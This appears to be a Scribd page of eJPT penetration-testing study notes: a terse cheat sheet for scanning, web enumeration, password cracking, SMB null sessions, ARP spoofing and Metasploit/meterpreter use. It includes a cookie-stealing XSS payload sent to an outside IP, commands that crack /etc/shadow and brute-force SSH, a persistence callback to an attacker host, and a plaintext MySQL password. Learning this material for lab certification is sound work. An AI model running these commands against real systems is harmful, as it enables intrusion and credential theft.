Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
Scribd Logo
Upload

Welcome to Scribd!

  • 1K views

    Wireshark - Follow TCP Stream

    Uploaded by

    Sundeel Bin Haleem
    The document provides information on various tools and techniques used in penetration testing and information gathering, including Wireshark, route commands, netstat, ARP, DNS lookups, ping sweeps, Nmap scans, Masscan, Dirbuster, Hydra, Metasploit, John the Ripper, Hashcat, and meterpreter commands. It covers topics like port scanning, OS fingerprinting, vulnerability scanning, password cracking, Windows and Linux privilege escalation, and pivoting within a compromised network.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd

    Wireshark - Follow TCP Stream

    Uploaded by

    Sundeel Bin Haleem
    1K views7 pages
    The document provides information on various tools and techniques used in penetration testing and information gathering, including Wireshark, route commands, netstat, ARP, DNS lookups, ping sweeps, Nmap scans, Masscan, Dirbuster, Hydra, Metasploit, John the Ripper, Hashcat, and meterpreter commands. It covers topics like port scanning, OS fingerprinting, vulnerability scanning, password cracking, Windows and Linux privilege escalation, and pivoting within a compromised network.

    Original Title

    eJPT Notes

    Copyright

    © © All Rights Reserved

    Available Formats

    DOCX, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The document provides information on various tools and techniques used in penetration testing and information gathering, including Wireshark, route commands, netstat, ARP, DNS lookups, ping sweeps, Nmap scans, Masscan, Dirbuster, Hydra, Metasploit, John the Ripper, Hashcat, and meterpreter commands. It covers topics like port scanning, OS fingerprinting, vulnerability scanning, password cracking, Windows and Linux privilege escalation, and pivoting within a compromised network.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    1K views7 pages

    Wireshark - Follow TCP Stream

    Uploaded by

    Sundeel Bin Haleem
    The document provides information on various tools and techniques used in penetration testing and information gathering, including Wireshark, route commands, netstat, ARP, DNS lookups, ping sweeps, Nmap scans, Masscan, Dirbuster, Hydra, Metasploit, John the Ripper, Hashcat, and meterpreter commands. It covers topics like port scanning, OS fingerprinting, vulnerability scanning, password cracking, Windows and Linux privilege escalation, and pivoting within a compromised network.

    Copyright:

    © All Rights Reserved
    Download as DOCX, PDF, TXT or read online from Scribd
    Download as docx, pdf, or txt
    You are on page 1of 7

    Wireshark --- follow tcp stream

    route commands

    route

    ip route ---linux

    route print ---windows

    netstat -r

    ip route add 192.168.222.0/24 via 10.175.34.1(next hop)

    mac address

    ifconfig/all ----windows

    ip addr --- linux

    ifconfig ---*nix

    ARP

    arp -a ---windows

    arp ---*nix

    ip neigbour – linux

    Netstat (listening ports)

    netstat -ano ---windows

    netstat -tunp --linux

    TCPView tool

    DNS

    ping

    Dataexfil

    PAcketwhisper

    egresscheckframework
    Pentest

    information gathering --- IP's , mails etc

    OS fingerpriniting

    Port scan

    Service

    vulnerability scan

    exploitation

    info gather

    crunch base

    sam.gov

    gsa elibrary

    whois ---linux

    sysinternal whois --- windows download

    subdamain enum:

    site: xyz dot com

    dnsdumpster dot com

    crt dot sh

    virustotal dot com

    sublist3r -d domain

    amass ----start snapd -----snap run amass -ip -d domain

    also by viewing certificate details

    Foot printing

    ping

    fping -a -g IPRANGE ---- -a only alive -g ping sweep

    fping 2>/dev/null ---redirect error messages

    NMAP --- (scantypes options targets) syn scan is default

    > filename.txt - save scan to file


    -sn ping scan

    -iL list of IPs

    -Pn --- no ping treat all as active

    -sS ---- Syn stealth scan

    -sT -- TCP connect scan

    --reason - shows explanation of port open or close

    man nmap --manual

    OS fingerprint

    p0f

    nmap -O ||||| --osscan-limit limit os detec --osscan-guess: guess aggressively

    uname -a --- linux os details

    Port Scanning

    -p specifies ports -- separated by commas or ranges with -

    -sV - version detection scan / oe -A

    MASSCAN

    masscan -p xxx -Pn --rate=xpacets/sec --banners IPS -e tap0 --router-ip x.x.x.x(USED BECAUSE we are
    connected via vpn)

    --echo > file.conf -------- saves sacn command in a conf file

    masscan -c file.conf to run file

    NESSUS

    /etc/init.d/nessusd start

    https://localhost:8834

    HTTP WEB ATTACKS

    VERB /path HTTP/1.x

    Host: 12.34.56.78
    PUT /path HTTP/1.x

    Host: 1.2.3.4

    Content-type: text/html

    Content-length: 20 ------- have to know file size for PUT ---- wc -m payload.ext

    Headers\r\n

    \r\n

    Message \r\n

    netcat /nc ---- nc target port

    openssl -----------openssl s_client -connect target:port

    burpsuite

    Devtools f12

    Httprint -P0 -h target.IP -s <sig file (/usr/share/httprint/signatures.txt)> ----- identify web servers based
    on signs |||-P0 no ping

    Dirbuster

    /usr/share/dirbuster/wordlists

    Search files ext. example bak old

    DIRB

    Dirb target pathtowordlist

    Dirb -a useragent ||||||||||||||||||| http://www.useragentstring.com/pages/useragentstring.php

    Dirb -p http://127.0.0.1:8080 |||||||||||proxy

    Dirb target -c “Cookie:123”||| if logged in session

    Dirb -u “admin:pass” |||| http authentication

    Dirb -H “”myheader:123” ||| custom header

    mysql -u awdmgmt -pUChxKQk96dVtM07 -h 10.104.11.198

    use dbname;

    show tables;
    select * from tables;

    XSS

    <script>

    var i = new Image();

    i.src="http://192.168.99.11/get.php?cookies="+document.cookie;

    </script>

    SQLI

    Select <column> from <table> where <condition>

    Password cracking

    John -list=formats ----------------------------johntheripper lists formats that can be attacked

    /etc/passwd ---contains users

    /etc/shadow ---contains password hashes

    unshadow /etc/passwd /etc/shadow > crackthis

    john -incremental -users:root crackthis

    john --show crackthis

    john -wordlist /path crackthis

    john -wordlist /path -rules crackthis

    wordlist /usr/share/seclists/Passwords

    Hashcat ----on windows

    Hashcat
    -m hashtype
    -a attackmode
    -o outputfile
    -b initial benchmarking
    -d specifies device to use
    -O optimize performance

    -r specify rules against list file


    Hashcat64.exe -m 0 -a 0 -D2 /hashes /dictonary ----d2 device interface gpu

    Rainbow table cracking

    Ophcrack

    Hydra
    hydra -L logins.txt -P pws.txt -M targets.txt ssh

    Ssh target

    scp root@192.168.99.22:/etc/passwd .

    Windows Shares

    \\comp\c$

    \\comp\admin$ ipc$

    NULL Sessions
    first check if file sharing service is running

    Windows: nbtstat -A target


    >comp

    >domain

    >service 20code means running

    Next enumerate shares


    NET VIEW target

    Linux: nmblookup -A target

    smbclient -L //192.168.174.132 -N

    smbclient //192.168.174.132/ADMIN$ -N -----------list shares

    Automate all of the above with emun for windows and enum4linux for linux

    ARPSPOOF

    Echo 1 > /proc/sys/net/ipv4/ip_forward

    Arpspoof -i tap0 -t 1.2.3.4 -r 5.6.7.8


    METASPLOIT
    search x
    use x
    info
    show options, show advanced options
    SET X (e.g. set RHOST 10.10.10.10, set payload x)

    Arp sweep to discover network


    Use auxiliary/../../arp_sweep
    Set <options>
    Run

    Use exploit
    Set x
    Show payloads
    Set PAYLOAD x
    Set options
    Exploit

    dir secret.doc /s /p -------searches win directories for secret.doc

    meterpreter

    ctrl+z or background ----- to return to msf


    sessions -l ---- displays meterpreter sessions
    sessions -i id ---- connects with the specified meterpreter session
    sysinfo --- system information
    ifconfig --- network info
    route – prints route
    getuid --- get user
    getsystem – gets system user privilege
    bypassuac exploit in case getsystem does not work --- after that press exploit
    search hashdump to find windows hashdump module
    pwd --- current directory
    cd c:\\ --- remember double back slash
    ls --- dir listing
    shell --- opens cmd
    download /pathonvictim /pathonattacker
    upload /filetosentonattacker /pathonvictim
    migrate pid – attaches to a different process

    pivoting
    ipconfig – check victims subnet
    route add 192.x.x.x/24 sessions(1,2)
    run persistence -X -i 10 -p 5555 kaliip

    meterpreter script --- run autoroute -s 10.1.13.0/24


    run autoroute -p ----print route table

    You might also like